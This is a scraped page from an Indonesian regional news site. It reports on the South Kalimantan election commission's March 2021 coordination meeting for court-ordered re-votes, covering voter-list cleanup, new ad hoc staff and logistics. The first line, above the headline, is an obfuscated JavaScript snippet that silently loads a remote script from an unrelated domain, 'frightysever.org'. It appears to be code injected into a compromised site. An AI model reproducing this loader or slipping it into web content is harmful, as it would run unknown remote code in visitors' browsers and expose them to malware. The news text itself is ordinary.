(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

KPU Kalsel Gelar Rakor Persiapan PSU, Data Pemilih Akan Kembali Dirapikan


KANALKALIMANTAN.COM, BANJARMASIN – Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) gelar Rapat Koordinasi (Rakor) sekaligus sosialisasi Pemungutan Suara Ulang (PSU) di beberapa daerah di Kalsel.

Langkah tersebut dilakukan pasca putusan Mahkamah Konstitusi (MK) RI beberapa waktu lalu.

Rakor ini turut dihadiri stake holder terkait yang digelar di salah satu hotel di Banjarmasin, Senin (29/3/2021).

“Hari ini kita mengumpulkan stakeholder untuk memberi tahukan bahwa kita akan melaksanakan PSU, di 24 TPS di Kecamatan Binuang, 5 Kecamatan di Kabupaten Banjar, dan 1 Kecamatan di Banjarmasin Selatan,” ujar Sarmuji, Ketua KPU Provinsi Kalsel, kepada awak media.

Selain meminta PSU di beberapa daerah di Kalsel yang dianggap suara pemilih tidak sah. MK juga meminta KPU Provinsi Kalsel membentuk Badan ad hoc penyelenggara pemilu atau pemilihan (PPK, PPS, KPPS) yang baru pada PSU nanti.

Baca juga : Terancam Hukuman Mati, Begini Modus Penyelundupan Sabu 2,5 Kg Astambul

“Jadi tidak ada lagi petugas 2020 yang lalu, terlibat pelaksanaan PSU nanti,” ucapnya.

Sebelum pelaksanaan PSU nanti pihaknya juga akan merapikan data dalam Daftar Pemilih Tetap (DPT), Daftar Pemilih Tetap Pindahan (DPTh) dan Daftar Pemilih Tetap Tambahan (DTPb) yang akan diundang dalam pelaksanaan PSU pada 9 Juni mendatang.

“Malam tadi kami sudah menerima surat Dinas dari KPU RI bahwa yang akan diundang dalam PSU nanti DPT, DPTh dan DTPb yang 2020 lalu. Tapi DPTb itu akan kami sisir apakah DPTb itu masuk datanya di TPS seperti itu. Jadi kami lebih selektif dan dicermati lagi pemilih yang akan melakukan pilihan pada 9 Juni 2021 mendatang,” kata Sarmuji.

Dalam Rakor ini juga membahas tahapan jadwal pelaksanaan PSU nanti apakah ada perbaikan lagi karena dalam perkiraan yang berkenaan dengan perekrutan badan ad hoc hingga terbentuknya KPPS memerlukan waktu yang banyak. Selain itu, pembahasan lainnya terkait logistik dan pendistirbusiannya.

“Kita sudah menyusun tahapan jadwal dan hari ini kita putuskan jadwal tahapan itu apakah diperbaiki lagi. Kami juga menyusun tentang logistik dan pendistribusiannya,jadi berapa waktu yang diperlukan kawan-kawan logistik,” pungkas Sarmuji.(Kanalkalimantan/Tius)

 

Reporter : Tius
Editor : Cell

 

 


Al Ghifari

Recent Posts

Kucing-kucingan Anak Kecil vs Satpol PP di Lampu Lalulintas Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Kali kesekian, anak kecil Penyandang Masalah Kesejahteraan Sosial (PMKS) di kawasan lampu… Read More

36 menit ago

WTP Ke-11 untuk Pemkab Banjar, Wabup Banjar: Ini Kerja Tulus Semua Perangkat Daerah

KANALKALIMANTAN, BANJARBARU - Pemerintah Kabupaten Banjar meraih Opini Wajar Tanpa Pengecualian (WTP) dari Badan Pemeriksa… Read More

1 jam ago

Buka Peningkatan Kapasitas Kader PKK se-Kabupaten Banjar, Ini Harapan Nurgita Tiyas

KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More

12 jam ago

Klaim Restu PKS Turun di Pilwali Banjarmasin, Mukhyar Cari Dukungan Nasdem

KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More

13 jam ago

Nongkrong di Eks Lokalisasi Pembatuan, Dua Perempuan Dibawa Satpol PP

KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More

13 jam ago

Berhasil Ditekan, Angka Stunting 2023 Kabupaten Kapuas 16,20 Persen

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More

13 jam ago

This website uses cookies.